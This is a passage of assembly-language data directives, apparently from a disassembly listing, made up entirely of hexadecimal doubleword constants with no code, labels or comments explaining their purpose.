		dd 59DF56A2h, 352ED040h, 0E58DDB13h, 1B55B700h,	0F81D1924h
		dd 2CEA00B7h, 516D408Ah, 0AD017AC4h, 8473D854h,	0FACDB321h
		dd 0A0A4C4h, 40D6FCFDh,	6EBAB71Bh, 0E15B6C00h, 48A3BDA2h
		dd 3A4C021Eh, 9E05FFFDh
		dd 0DB430868h, 7F5E310Bh, 30100080h, 1F331F86h,	408BC437h
		dd 871AB23Ah, 6C00DA8Fh, 1780B0F7h, 187362h, 0ECE7AC75h
		dd 678D6E41h, 406CB100h, 5D82DB51h, 0A0AD00E8h,	486152A6h
		dd 380242B4h, 437E8D62h, 8610403Bh, 0B493E87h, 8E707380h
		dd 0F74AE6ABh, 0B040858h, 805ACA74h, 255DD4E4h,	980B0047h
		dd 16F74278h, 920B3EB0h, 8ADABFDh, 0E200DC9Dh, 4F280B4Eh
		dd 802B4896h, 3649B800h, 0CF229B15h, 4BB02F00h,	9A289DE8h
		dd 62BC4C08h, 6EB31400h, 9BC41797h, 0C81C8230h,	1FAABEh
		dd 0F0DA534Fh, 4B7F9E86h, 1F2B9824h, 29BB0800h,	5C6D55F4h
		dd 931FB8AEh, 0A08D92A7h, 0A300FB8Ch, 0B39E98EDh, 961F9DBFh
		dd 0FED10318h, 0E6F8CC25h, 0A892E1BDh, 80FC275Ch, 843EB33Dh
		dd 0FB0B04FCh, 0C3E41DACh, 400954F4h, 0EBD758h,	995D6124h
		dd 447702C5h, 0AAAFB4E5h, 85CFC49h, 0FB3D0058h,	0EF3CDAF8h
		dd 61E89419h, 6BD04500h, 78DBF49Ch, 0FB350ECEh,	0B2C0644Ch
		dd 8A66A306h, 13D26D09h, 0E42C03E2h, 879E8892h,	3AA7819h
		dd 4F3DBF9h, 2003E5A1h,	5812A4EAh, 0D78085DDh, 3F25805Eh
		dd 642CEC38h, 0A6E50034h, 0F443BFB9h, 9FE22400h, 0BD477C02h
		dd 0B25D0017h, 0CCA14C0Ah, 2B000BB3h, 363D260h,	13FCFB05h
		dd 17CD95Eh, 143444EAh,	2169C401h, 3F4EB900h, 7AB02083h
		dd 0C5A70E3Ah, 93A736FBh, 628E2079h, 0E03C1E78h, 3BB1BF9Bh
		dd 5A2A829Ch, 600F257Bh, 13FADEh, 0B877C919h, 2CC13212h
		dd 0BF65E118h, 0D56DB8h, 188B6FC6h, 6FA16C4h, 0F770B5h
		dd 0FD42DD7Dh, 0BCCA68DFh, 0E06DDB07h, 0B4C1Ch,	6935AF10h
		dd 239D0FAEh, 33029C9Bh, 4242906Fh, 2B01D0D8h, 45AA926Dh
		dd 98745642h, 0CFA90F34h, 0A8A01F85h, 0CDAB3C68h, 6AAC6E05h
		dd 64C0CB64h, 0A087C69Dh, 4AB7F0h, 4DB2221Dh, 0B00FA1A3h
		dd 1F92BC00h, 8E91ADBAh, 52EEB4h, 6DF3CC78h, 0AB481E44h
		dd 7671DFF2h, 490080ECh, 121411ACh, 961CE7Ah, 9A02472Fh
		dd 9590C883h, 5CBBBE8h,	650CB100h, 30F75A36h, 7700B440h
		dd 0BEE07391h, 0C5078228h, 975AD5D8h, 53FCBFF0h, 16607B69h
		dd 0C03B4C98h, 881B665Ch, 0A32CCD03h, 4BDF713h,	0C97014C0h
		dd 0F8AC4090h, 0DE07E1h, 0D3F1DFD2h, 0C005E3EAh, 0D0D13Bh
		dd 0FBE5E2AEh, 71254C6h, 29021D98h, 112BA1B2h, 3407DCA1h
		dd 0E4E3BA16h, 97054D3h, 2C92D0C0h, 2138E810h, 9914BA09h
		dd 0CB88807Dh, 0F0834Ch, 0FA446A66h, 5337D52Ch,	96458D00h
		dd 6876D64Bh, 249003h, 0F2CDC983h, 0F8F7CFF9h, 0F407009Eh
		dd 0F533CE87h, 0F6F1E086h, 0A6590096h, 81C3AD3Ah, 0AB009510h
		dd 0CCB62369h, 2971884h, 7E9872A9h, 2440CA48h, 7B00F281h
		dd 0D9C79AD5h, 3B726DC8h, 0C60175FBh, 0E1524D18h, 55B3F567h
		dd 249082C0h, 1100F2E3h, 17944914h, 844659h, 8C614171h
		dd 0E340D373h, 1BA6F113h, 84DF9082h, 0BCA865A8h, 882FE000h
		dd 7B4A37C2h, 8E21F316h, 544864C2h, 9F9F3890h, 446C00Ah
		dd 70E0C6F1h, 841D3A0Bh, 83998039h, 396B03Eh, 0C14FA21Fh
		dd 0F0A1A7C2h, 0A4002B09h, 2F066480h, 94EA4C83h, 885F4803h
		dd 1107EDBDh, 0DB52A825h, 63DAD310h, 82480095h,	7246B477h
		dd 5375381Eh, 7080914Eh, 77EFEAF5h, 6DA201B9h, 0AD579DB0h
		dd 0E29BF352h, 41D870EBh, 0E0B0BF82h, 5CDEBD04h, 14A047B4h
		dd 9DCB8CDh, 0B33B569Fh, 4ECA7440h, 0BA0045EAh,	89E55CC5h
		dd 4C0601CFh, 3701744Dh, 87ECE050h, 318FE5B0h, 9448F8B0h
		dd 11DEF930h, 17FDEE25h, 3218980h, 0D7071884h, 41199800h
		dd 7F3E44D0h, 0DB31F91h, 0DC9C87h, 8095D1BCh, 70BA53FDh
		dd 0A208DE02h, 509251ECh, 0E815E408h, 0E2D90037h, 2D67AFF5h
		dd 0B802EB2Ah, 0CC183A2Eh, 2CF4E875h, 19C70166h, 85F1D782h
		dd 0EC40EA16h, 534879C2h, 9EBA0010h, 581B9211h,	7569E467h
		dd 74630057h, 0AA8DE652h, 0BE19D8DAh, 50F862FBh, 3A5FB2E8h
		dd 0BB07B0DCh, 47CBBD0Eh, 9A23E0ECh, 0E7FE73FEh, 51A6850Fh
		dd 54A160DEh, 210BB2h, 69DC913Ah, 0E50D8CA9h, 0C4009D97h
		dd 9ED530C8h, 44D44CC3h, 5E6D0171h, 2EDC1CE7h, 1F90D045h
		dd 56B3602h, 0AECE9F2Dh, 5C09E0FCh, 9E20604h, 0D310330Eh
		dd 58AF5800h, 0BA037CD4h, 6DB59EE8h, 2D30D022h,	24B9F878h
		dd 0B5CC335h, 0D4120EFAh, 0C0F75860h, 2D0C1A00h, 2379D599h
		dd 2204B889h, 1848049Bh, 940177F0h, 20902EA5h, 0D05091FAh
		dd 0B1F946D9h, 61EA0E68h, 32727720h, 0D05C49Ch,	893DAD60h
		dd 98D610C0h, 979105B2h, 80656369h, 5DE030F4h, 89A40E0Bh
		dd 0CA6707BBh, 804DCBF3h, 1281FAB4h, 0B55B90h, 928BDA5Ch
		dd 980093E0h, 0D729952Fh, 6B2528h, 5D5B6550h, 0FC2C706Eh
		dd 0A8F6ED07h, 0A1252278h, 1460D800h, 8269C8h, 5A204790h
		dd 9C66D23Ah, 0B9CC1504h, 65862574h, 0FA652CF0h, 0A20900C1h
		dd 4029202Ch, 0CB0543F8h, 0EA63EF67h, 74808680h, 0A4EA14h
		dd 0A072DC57h, 0AF84E659h, 7BDB5600h, 67D85BA8h, 733FC5Eh
		dd 0EA5150E8h, 0F4D3699Bh, 7400CD96h, 0F2A43709h, 3AE0785Eh
		dd 7A055DDCh, 0B28B4AD6h, 0C0D08700h, 0D136003Bh, 49DA80h
		dd 4F82056Ch, 72CF9E7Bh, 0A4B1CD0Eh, 0C8DD2009h, 5272122h
		dd 0E997F399h, 709C0306h, 90902E01h, 0D7009B15h, 0CBC6A79Fh
		dd 10135Ah, 9332062h, 79525575h, 0C02ECE26h, 514F8A00h
		dd 3B96FA85h, 0F89DCCDFh, 24C44075h, 0A6538E3Fh, 0CBB4E209h
		dd 0D20238Bh, 8460D7F5h, 752E0483h, 27325B91h, 9450E950h
		dd 3EA9E703h, 0A0961A11h, 4C71CCFCh, 0E04C8869h, 0D1B25F01h
		dd 0EDAD580Eh, 7828CFh,	93BB775Ch, 4C34976Eh, 0D0F6C71h
		dd 51EE92B3h, 0B4DF5925h, 650BB8A8h, 6020806Dh,	1284218h
		dd 6F0B1329h, 0E0C6A0B5h, 71000A40h, 205E2CD9h,	0E6AF806Eh
		dd 0B3830A39h, 84A533h,	0F4C2F90Ch, 1154B9B4h, 0EA409264h
		dd 2AA51DFBh, 90F49857h, 960CBFC7h, 10F5DCFFh, 675B0395h
		dd 1CC83D85h, 72B0F8D0h, 5D6A5600h, 0CA2E1FE2h,	74E1C5FDh
		dd 7778B494h, 6AB76504h, 10E0F85Eh, 70DC13BBh, 0C4748871h
		dd 0EC864988h, 0A10638B1h, 891F4A80h, 8E23C55Dh, 833E4D2Ch
		dd 3F73CD01h, 5BC0CF9Fh, 0DBC600ACh, 0F54BF493h, 5101CBC8h
		dd 56750806h, 0B9609FD8h, 15FC00D1h, 0AF3B1B87h, 14393752h
		dd 440F133Dh, 6C5A5800h, 251858h, 8B156A3Ah, 0A59DA8E3h
		dd 28071600h, 67DF04A9h, 55481EFAh, 0EDB482B9h,	0EC403E1Eh
		dd 4763AEA0h, 0A38E22F9h, 6BD698E8h, 0F86E0088h, 0DB54F689h
		dd 6F038F62h, 0DDA88BF0h, 0FC48C8E8h, 2CD97F50h, 7622EF2h
		dd 20C25C07h, 0EAFE2CF0h, 6A0FDF0Fh, 0DE4602DAh, 40ECD43Fh
		dd 0E4923901h, 0BE173D00h, 0FD37A00Dh, 0E8180012h, 51781628h
		dd 97A3E0AFh, 0F7749B0h, 0F588B502h, 0FE86A9D6h, 47590087h
		dd 0A4AC565Fh, 0F8B73800h, 0C0E51D65h, 768A00BFh, 0FEFC59D4h
		dd 1B00BA55h, 0EC5640E2h, 39F39Ah, 0A4E9CE84h, 328DCD6Dh
		dd 20E5B337h, 50F3C9CEh, 4080038h, 620AE4Dh, 2D58A14Fh
		dd 9C371F6Fh, 25C73F03h, 6D22B888h, 30C97EDBh, 708BEFAh
		dd 5500A6A2h, 575E471Ah, 0D915D8h, 0EE2D6ED7h, 31B4839Ch
		dd 0A700467h, 1BEF9761h, 4B20FEE4h, 932CD046h, 2DFE272Fh
		dd 2A48AD90h, 0A1EA0F70h, 6F94CE2Bh, 9505A098h,	0EAF5DD08h
		dd 654D00F8h, 0D7FF767Bh
		dd 84B0E7EEh, 0F36A7D00h, 208191C2h, 0A012E63h,	188B8770h
		dd 0E25AD0E0h, 7A74DC88h, 2F0C8D74h, 89473D8Ch,	1E274AC4h
		dd 0A8810068h, 0F087B267h, 1DE8BFE8h, 2CFC418h,	3158D21h
		dd 0C0CA8F47h, 80081AFh, 0B722D792h, 90870C51h,	0E252000Ah
		dd 0A60A0761h, 68CEC867h, 8F6AA37Ch, 5000CDE0h,	0DC8EB3B7h
		dd 0EF84003Ch, 0FC9981AAh, 58CF83A8h, 632D0296h, 89188106h
		dd 9074E04Dh, 6A6F1F7Eh, 5701DAAh, 763B4h, 0F0422114h
		dd 1001748h, 0C22D9EF7h, 0E961F8Dh, 7CBFCF56h, 1700E20Eh
		dd 2E29352Fh, 0DABE3Eh,	1B5DC803h, 0F8BA33h, 0A5F1D405h
		dd 6E996225h, 0E10A2B00h, 0E28034DAh, 0D88A3CBCh, 2CEC7C05h
		dd 6A2980ADh, 260004C7h, 0DA8EF4E8h, 5BFBE2h, 53FE2315h
		dd 0C7B47E60h, 0C43ADEFCh, 3398010h, 8A56359Eh,	0EB9B2C86h
		dd 0BE2300E2h, 0B1D489BDh, 6BBAAA00h, 73160647h, 44F300E2h
		dd 4BFCC541h, 8B0104CBh, 0F176DC17h, 0E850421Ch, 0FC4FE27Eh
		dd 5ABF0066h, 0B530F2F5h, 8375A184h, 0DEDE9E28h, 28056309h
		dd 70C81ABh, 0AC50FE87h, 7022664h, 6350CDE7h, 0FA392009h
		dd 17E4B757h, 3C70D37Ch, 0F4FEB4A8h, 3F343Fh, 43F60874h
		dd 6E238C06h, 4DE0210Ch, 0F20B6EE3h, 19C48903h,	0F9AD17BCh
		dd 0F9601B8Fh, 0A1F706E8h, 205760DEh, 1809A503h, 1FD270Fh
		dd 0A32FC91h, 0F461DE7Ch, 8D00F884h, 19348FACh,	0C1F62686h
		dd 94F12329h, 0A449E86Eh, 0E1D63000h, 0C0D9CFDEh, 0E48E2207h
		dd 78C68D24h, 1580641Ch, 896DBD37h, 0E6080109h,	0C0F50E17h
		dd 0DBC18204h, 0A0511B49h, 0F1CAE2ACh, 9C2401D5h, 9A3DECD2h
		dd 1F288309h, 0E8F983B4h, 73FD1593h, 0F146007Ch, 0C9224D72h
		dd 0BC000513h, 0C380450Bh, 38BE2D19h, 94848B78h, 83C5DF46h
		dd 3072F67Fh, 0C8AF870Eh, 0A3405D29h, 555E81Bh,	0FE0E0C3Ah
		dd 2A587235h, 31F71630h, 18CC0B8Ah, 109FE7B2h, 8E08DD0Eh
		dd 8C67FD2Ah, 70394C8Dh, 7F280EBDh, 246389C7h, 0A8AB6AB3h
		dd 0FF3D6A1h, 45908C7Ah, 6F0C18F8h, 4EFFA3Eh, 448E4876h
		dd 496DB200h, 7418974Ah, 52E94FCEh, 0C0F9740Eh,	0DB24AC69h
		dd 1D7B15F3h, 784CF501h, 0BBC51274h, 4461BFCh, 0BF1B2CBh
		dd 8A078771h, 5E1F036Ch, 1100EC1Bh, 0A5A1D6FEh,	453F4E6h
		dd 1D4BC724h, 2E9C807Ch, 3C00377Eh, 0C0901B74h,	33F055Dh
		dd 35B25314h, 0B4A09B17h, 0C22C92E5h, 51070BACh, 0C502C4Ch
		dd 3E092Fh, 0B211EF7Ch,	21668A83h, 38490103h, 0FC8FC3h
		dd 0C739E930h, 22A22DA4h, 81F63E03h, 907EF528h,	391C8969h
		dd 0A4809E1Dh, 0E9999758h, 8DB2CD3h, 0A7F7F070h, 0FA801F1h
		dd 0FEC2A008h, 675985FFh, 0D980D247h, 3B022478h, 0D906084Bh
		dd 0A049A43Ah, 0E58FF1Dh, 0E4231200h, 639BBCF5h, 3C4EC9D1h
		dd 6E3880E0h, 0E01C3B00h, 2E7C3450h, 5A650083h,	0DB580567h
		dd 1A1EC2C5h, 19DD986Eh, 807CA709h, 4BD46D3Ch, 0BCAE1D63h
		dd 0DC6700FDh, 49304596h, 9103FF00h, 1A2375B2h,	0B0E568F5h
		dd 0B77900E8h, 0BF977045h, 0B60CC390h, 21EE14D9h, 0B07C6E4Ch
		dd 0A845A2C6h, 0B453371Fh, 0E08C20B2h, 0A3CEEB5h, 15D923DEh
		dd 0F707401Ch, 10C09CA2h, 0B28DB0FCh, 194D3915h, 7C54B980h
		dd 6D1DC0E8h, 490D1307h, 8586F6EAh, 7ADF0130h, 3C76DD1Eh
		dd 1371F433h, 0BD45653Ah, 94EB0338h, 0E701FFA7h, 0B5D04250h
		dd 6222E8C8h, 1DB7111Bh, 8196130h, 95ED25FCh, 0EEC84603h
		dd 1541790Eh, 4A3FBBEh,	5C7D4B81h, 0F498F0A2h, 104AF328h
		dd 61CC1E00h, 66C853FAh, 93B664Eh, 7E002186h, 0F8AA61A4h
		dd 301915DDh, 0BE485EF4h, 0DFE20294h, 768BB100h, 2939692Dh
		dd 5A6301ECh, 0A2B9DEADh, 800431D0h, 758C9B89h,	0CB6D979h
		dd 8674BF2Eh, 21D3E608h, 0F1750200h, 184CFBDDh,	0C1A93943h
		dd 0D30226EDh, 2F912537h, 25C155E8h, 4A8FE43Bh,	74B5E628h
		dd 5060297Bh, 94EC5BA1h, 91AD1CDDh, 320F0099h, 74DADBCBh
		dd 0A2BE3C0Ah, 22001C0Ah, 0ABF93746h, 33A87648h, 3B0860C3h
		dd 4DF52100h, 8A700837h, 0C4ED064Ah, 41BCDDAFh,	29C028F8h
		dd 0D8F4ABD6h, 0A7960263h, 6AA87B5h, 0DF746CE0h, 2C371A0Ch
		dd 654F1F4h, 3C8B4A63h,	1C0349B0h, 372A1D8h, 0E7A09735h
		dd 7B843E5h, 0AF98091Fh, 3171209Ah, 0E4A72A6Ah,	0BA80D14Fh
		dd 3601EAB4h, 0BD54130Eh, 742158C1h, 0D2691D71h, 0D1680066h
		dd 0E3B9F0E4h, 75533Eh,	89F5A4C9h, 613C7042h, 0AC43B1A1h
		dd 0DC2BF8FDh, 200FB207h, 4546B30Ch, 4E10021h, 0B8B41DFEh
		dd 0F9DF8FAFh, 74842414h, 603F5E88h, 72BFC941h,	0E1C86931h
		dd 61CAC0F1h, 0B84653ACh, 60008F22h, 962861A2h,	0C02B0A54h
		dd 800D1D39h, 0DE3FCCEAh, 0AA0786EDh, 3089B1D7h, 0CB29340Bh
		dd 9B0050F8h, 0DF5DCEF6h, 18255F2h, 5179CA43h, 0DD7B5B21h
		dd 3156FF37h, 336CF020h, 85E8029Dh, 0AED9AFB1h,	0D2C0AA21h
		dd 0DDA9C985h, 0F80C48A2h, 13B47242h, 2620BCBAh, 48C6EFDDh
		dd 0E23E844Fh, 29467B98h, 0A5E89A95h, 0DC5A8207h, 0BB340B54h
		dd 6D408D3h, 27D69A41h,	860024B6h, 197749B8h, 6088A935h
		dd 0C3834948h, 0AAF4C5EFh, 0E55EDD03h, 0D2D0DC50h, 85C04AAEh
		dd 0E843F1BCh, 68200BECh, 64F418A1h, 3E5A202Bh,	3F20C6EFh
		dd 1891F1A6h, 6918F8D1h, 0A53FD90Fh, 4044640Ah,	30F21C82h
		dd 0F91161B3h, 8888A053h, 61AB9180h, 3A2A83DDh,	2AF8741Bh
		dd 7C94800Bh, 334C01E2h, 2355A160h, 0E8B9F952h,	0FA092BB5h
		dd 2C3CCFAAh, 8CFE78E8h, 0AD1161FCh, 0BA888053h, 61A77D81h
		dd 2CF086C1h, 0BD2A022Bh, 0C3AA53E2h, 0D383E090h, 0E0517C32h
		dd 85911F82h, 8C927B80h, 0F2F4263Eh, 2C4BAE24h,	0FFD4C240h
		dd 0B3050031h, 0D3A1E191h, 810A7351h, 84240BE9h, 5F3E2984h
		dd 6BDACC8h, 2A5ECEF1h,	0E30A8940h, 0E855EF3Dh,	0DA11708h
		dd 0C4C9B73Ch, 6200C74Eh, 1365B4DCh, 4CD4109Dh,	7780A03Ch
		dd 59EF9CC3h, 201C5800h, 103D8C36h, 549A09D1h, 40997D2Dh
		dd 4AD184Dh, 42BCAFDh, 0EE2CB3h, 0CC18FE05h, 6AD07293h
		dd 0AB46DC90h, 0FA37630Fh, 1FC46048h, 374F0240h, 0A91BD04Ch
		dd 0A239AAD9h, 0DEC090C1h, 4B821854h, 0E0E1118Ch, 3CCE2500h
		dd 2A265E4Fh, 6990049h,	0ECC32B0Fh, 6607513Eh, 9427DE35h
		dd 8321F7D0h, 5EFE061Ch, 48A0E937h, 8160548Dh, 28057827h
		dd 598315Bh, 8D3DAB1Bh,	0B0B814A5h, 0FB01D323h,	0EED96475h
		dd 0B480C863h, 5B7875F3h, 0DB5AE303h, 191D235Eh, 0F18B4B71h
		dd 62E02AA0h, 0C2C600AFh, 0A45E7650h, 0A678233Dh, 61DC8101h
		dd 0EBF404F2h, 14635980h, 6A80C549h, 0EDA18E1Fh, 99FED9C4h
		dd 5E883EC0h, 75291853h, 563C3109h, 7A9984A8h, 40DB2C00h
		dd 0D9E91DF4h, 7F900E0Ch, 0D020396Dh, 59097443h, 4EFAF801h
		dd 0F64BF0A4h, 281BA980h, 7155A268h, 99FDFC00h,	0EB29E8AAh
		dd 7930A03Ah, 0F52500C5h, 0EE4CA71Ah, 0F10063ADh, 48AFC03Bh
		dd 208CD12h, 0FAF9F28Ah, 60443930h, 87063600h, 0DE23ED92h
		dd 52E46Eh, 0D1D45FA2h,	2EFFF4A9h, 14BA593Dh, 0C0C01704h
		dd 0D94575F8h, 0C448C96h, 75F000B1h, 4980D593h,	82020353h
		dd 214345FFh, 0F5C49137h, 0FAA16B10h, 86A4F900h, 0F268287h
		dd 2A291880h, 0A5B510Dh, 0C039136Fh, 2305C910h,	226B008Ah
		dd 88038B0Dh, 38175A43h, 81FAD72h, 54AEFE42h, 0B84841F8h
		dd 0BFB84818h, 4898AB24h
		dd 0F40EDC4h, 0F70A3770h, 4DCF8B07h, 8234DD1Ch,	663214C1h
		dd 80A65091h, 0AB8D377Ah, 75AF43A8h, 25620188h,	5C704837h
		dd 0A74D291Dh, 2056ABDDh, 94D83C21h, 4C27AEE4h,	0B9BC1488h
		dd 3CCCE48Ch, 0AD822452h, 0A25CF193h, 9D97E520h, 81A070Ch
		dd 246368A3h, 0D2A8828Bh, 0FC75FA30h, 228646D9h, 0F2BB00C0h
		dd 9236AE75h, 0B00C206h, 0F0C1B7E5h, 9053E61Bh,	0A58C81A6h
		dd 37087918h, 0C4D0AB8Ch, 65005C3Ah, 0DA0D1637h, 1677F450h
		dd 33345EBFh, 0C9FEF4B4h, 2A0B5B18h, 877E19h, 0AB2C02C2h
		dd 496CA39h, 50231507h,	44C2AD2Fh, 9D8CEDBh, 3ECF7576h
		dd 4C042C8Bh, 0FFF346A1h, 52F100E1h, 54DA2623h,	0D6E68088h
		dd 1202A400h, 40048EA3h, 4BC30013h, 0C218E7DDh,	491B5E5h
		dd 5B1847D1h, 0BCB2B907h, 68F3C3EAh, 0DD2DC1EFh, 483059F7h
		dd 0CEB3F11h, 4111225Eh, 0B9F7614Bh, 40E2597Fh,	0C0937A83h
		dd 4EBCE500h, 0BD245FCCh, 90BCB9CEh, 43C1C8DAh,	8C8D7553h
		dd 28C614Ch, 2BCEFDF9h,	4419B2E4h, 0FDD1E210h, 48B8C42Ah
		dd 788B5F00h, 0F3BA032Dh, 12087555h, 8DC4819h, 8FC3DF34h
		dd 8ED9E975h, 0C8808C73h, 4CA7587h, 37CD2910h, 23502ED6h
		dd 508200A2h, 0FFC39454h, 0C1120D00h, 2A1124FAh, 6151254Dh
		dd 0C6BD8417h, 0D6954C03h, 5EB864FEh, 0E212AC8Dh, 0F8D03C70h
		dd 9FD42Bh, 94262D06h, 0F98945C8h, 458CCA2Ch, 0C303B826h
		dd 0D2E8792Ch, 802059D8h, 0EF72DC5Bh, 3090A7C4h, 0EE88E081h
		dd 4F11D428h, 80FE0783h, 0CB27026h, 1FDFF458h, 0C31FD6FDh
		dd 1AE738A3h, 0B4F6D3h,	682566ECh, 0B4175190h, 5C5A904Ch
		dd 2F129C43h, 71EC8849h, 751810E9h, 80049C1Bh, 13E625Ah
		dd 367D92DDh, 0D89278B9h, 0D0A064D0h, 3FEB0091h, 72EADF28h
		dd 0CC968D76h, 2FA6680h, 9D4753h, 4E70BAF3h, 412899BDh
		dd 160E5493h, 902F34Fh,	71DADC8Ch, 0AA6904A0h, 2148B2DEh
		dd 958F90B7h, 139FBC74h, 233D29A3h, 80B827D4h, 0B74FFBF4h
		dd 0FC05434h, 0EB91EC8h, 41DF3E9Ch, 944A409Eh, 68DDDA97h
		dd 733E927Ch, 7223EA3h,	0D03F8157h, 0B383A6C7h,	0EEA3B4h
		dd 0E8E59110h, 1FDA5295h, 1C4B6C00h, 0EF8EABF7h, 974200DBh
		dd 9D571B16h, 5400C2C8h, 471E3E81h, 3CAE32A7h, 7E1D90BEh
		dd 0BD3030A3h, 0DE7C0891h, 1B5F9F74h, 4C0F2FE8h, 49EB42BFh
		dd 0BCC7C909h, 54D704A3h, 13C93C17h, 3AB33C28h,	8D008388h
		dd 3DAB18F5h, 4513B499h, 0A49AB9D4h, 0C0128CC7h, 272D3253h
		dd 0A87F1901h, 0A13F2946h, 375E7074h, 0C5994F21h, 0F058CD2Ch
		dd 0F87EA0A5h, 0C6284061h, 7300BB7Eh, 80ED7520h, 9537D098h
		dd 96B5E0E5h, 1F465EE4h, 5AF14201h, 48ABBDD4h, 4BFA5384h
		dd 1836ED40h, 88EBC9CDh, 844AF498h, 61E0E837h, 0B6B05407h
		dd 0A57F5804h, 5FC66100h, 0F97823D0h, 1BA6299Fh, 0DEB19684h
		dd 39D4C7C4h, 5F09CF80h, 11403DB1h, 0A4E64F02h,	94FAA0F5h
		dd 943644h, 260E0411h, 0C2C49521h, 4831221Fh, 82703C84h
		dd 11F20CE2h, 1C43B930h, 560BE9BDh, 0DDA48EBBh,	47EE0063h
		dd 8D51F85Bh, 0F0CE582Eh, 2FBC9A62h, 0E79175C3h, 82B6E000h
		dd 0FD2DC5D0h, 0D0E1505Ch, 47752A29h, 22890080h, 9D2DD395h
		dd 90A150D1h, 7FC3DC3Dh, 0A3F58E05h, 0BC01F63Eh, 0BF793059h
		dd 722820h, 0E71D80EFh,	50C243B5h, 81C08A73h, 0C7D3593Ch
		dd 0E2F72F28h, 612EFC00h, 2D1853D2h, 86582397h,	0E4F32AE3h
		dd 821E00D4h, 1511CDB8h, 0E21F0845h, 7CC0356Ch,	790F1653h
		dd 22435FDAh, 4530A170h, 0ABF81637h, 3E40CB70h,	84370CF4h
		dd 480380EEh, 0AA125847h, 564309Ch, 0DC884377h,	8BE34AB2h
		dd 0C0BBC828h, 140638BCh, 0A00BC525h, 85F5DAFCh, 48F073B4h
		dd 0D61215DCh, 23C43BE2h, 351F3Bh, 45636489h, 0BB31DEEBh
		dd 27EDB840h, 0A4232C23h, 0A537640Fh, 9038B8ABh, 374C0103h
		dd 0D0B19624h, 3EAE106Fh, 88AF29B2h, 184F7984h,	0F0B507D5h
		dd 109AAC74h, 0CD2B124Eh, 400A9524h, 59D0A909h,	56314050h
		dd 0A501E062h, 0E339FCCh, 0C687D71h, 9D587A80h,	6A00ECB1h
		dd 3AFE95FFh, 520EA09Fh, 4CF254B3h, 3F0B0630h, 48822A18h
		dd 0D90D1270h, 0A2574C40h, 778B5180h, 0ADA40016h, 70BC0635h
		dd 0DC0AA94Bh, 0E4A50D3Fh, 430EE302h, 0A5648E29h, 6CB4F23Dh
		dd 0DED20A83h, 64235Eh,	3254DBE2h, 0B4297659h, 0ECD1D89Ah
		dd 90005818h, 63F523D6h, 27EF7739h, 2C91DA44h, 4C08110Ch
		dd 108A3980h, 4B73851Eh, 21AB3930h, 3DF07D6h, 0C94412A8h
		dd 0A0B00351h, 449A1EAFh, 0E2504E52h, 0BD31301Eh, 8888B128h
		dd 0D2F328A0h, 3B54703Ah, 0B0592AADh, 0EA64F900h, 260B4887h
		dd 584500B8h, 0F284A9E3h, 0A21E4F04h, 0CCD873BDh, 0C05DF408h
		dd 9209A939h, 700099E8h, 0C1B0BC87h, 9940483h, 0CA46AC53h
		dd 2BC8A48Ch, 97599D13h, 75776C01h, 7C31DDEEh, 0F1C0F05Bh
		dd 0EC14C34Fh, 1B74B16h, 24597842h, 71407988h, 3952184Fh
		dd 0F3805174h, 0C337AAF2h, 5D30C7ABh, 0CFBDB059h, 950A2C66h
		dd 99ECDCA8h, 74ED5F00h, 0E2EE3EB1h, 0BD014B3h,	2826C81Dh
		dd 0C0F718F8h, 3AFEDADBh, 916C1797h, 0A1488088h, 529A74Bh
		dd 371B9535h, 8090F252h, 620F872Bh, 9B4500C4h, 0DD707A0Ah
		dd 1700D7D1h, 0D2974133h, 0BCE267FCh, 6F00DCE8h, 0D2FA1912h
		dd 1A865BC1h, 0A9AAA9ADh, 4035C082h, 967A72Eh, 546404EBh
		dd 0A7A14CC1h, 0F023446Dh, 16A4C914h, 44CB1053h, 61A17B00h
		dd 2BECDB6Ah, 0A801C514h, 3C3378DCh, 0E02FC1BFh, 0EF641Eh
		dd 7152B07Ah, 69074776h, 0DCDEFA1Fh, 80B91809h,	7E1BC324h
		dd 0AE5330D8h, 0F90FD98h, 4475D0A0h, 680B9A05h,	0C09148B5h
		dd 6E2E4674h, 0E57C0028h, 0E8E0580Fh, 3DC42C13h, 7FA3DC44h
		dd 1CDDE5E8h, 23EC2F12h, 20AF7409h, 0C1AAEBD0h,	0BB79C2E2h
		dd 2CC93388h, 244EEDF3h, 2C0071ECh, 0CC46CEAFh,	0FE0E3FD8h
		dd 53E30990h, 0B48C5708h, 0A9B03741h, 3A196B00h, 252109A4h
		dd 0E5FA0908h, 0AC01298Fh, 0E09883E3h, 40630B2h, 28F77554h
		dd 0D2802070h, 47058200h, 4F6FA2Fh, 29830084h, 0F9F355EBh
		dd 13031599h, 0F854C17Ch, 0D08158FAh, 18C10E8h,	0DCC9BB8Eh
		dd 40D18CCFh, 910DABECh, 0C44FAD4Ah, 0ACE648F4h, 3626D664h
		dd 467C3811h, 41070EBBh, 0BD7CE2A5h, 1D6859C2h,	4241760h
		dd 8B3DC5CCh, 0C0ECC8C0h, 0EE6AF9BCh, 4E76E9E2h, 88553C12h
		dd 71740081h, 1C6D8DC8h, 1608C4FFh, 0BD9C00E7h,	0F42E665Fh
		dd 8F0008B1h, 0F99661D8h, 17C7A0Eh, 65B782C5h, 2E45BA31h
		dd 0C023143Ah, 0F4BA9200h, 59733Bh, 9CCEAA7Eh, 5450951Ah
		dd 0DCFF4B09h, 0F3DC0584h, 0D6D03089h, 3B5E00F2h, 1B4C6082h
		dd 7D0F406Fh, 6DE008FEh, 0B864B8A0h, 76A91112h,	0C3AA1771h
		dd 84DDD0C8h, 2D9FA009h, 0DEE800F4h, 947537DAh,	4EE30104h
		dd 0E403E554h, 809174DFh, 465E102Eh, 0F3480047h, 18C09363h
		dd 0F9EB18CDh, 0F75971D9h, 0C317589h, 20222C31h, 0CE30BAF2h
		dd 35B300F1h, 41E36036h, 8812B9CCh, 200322FFh, 0D14933h
		dd 0FE0C6431h, 0F29189B4h, 0E7202916h, 20BC0C22h, 90B788Fh
		dd 823DEE00h, 5A9CE132h, 19D9F4D2h, 29A8390Eh, 26F8CF85h
		dd 0FC05ED64h, 7803CBF8h, 1628E88Ch, 21E474FDh,	0C72982C8h
		dd 550071E6h, 4DA77723h, 0DC73E7h, 1F2EF7F2h, 3C58C920h
		dd 0FCEA51h, 17B4AAE8h
		dd 9C92F64Eh, 61CE3085h, 5853F810h, 61A694E0h, 0E6874400h
		dd 122A1CBDh, 0BC2404DAh, 0C0373378h, 4CA53C48h, 9496F0B0h
		dd 73A14674h, 0BCF5EC13h, 0B1502C1Fh, 18BD701Eh, 712F29B9h
		dd 0C1E09E6Bh, 80608EE4h, 0BFBB4074h, 48394C27h, 1F118C18h
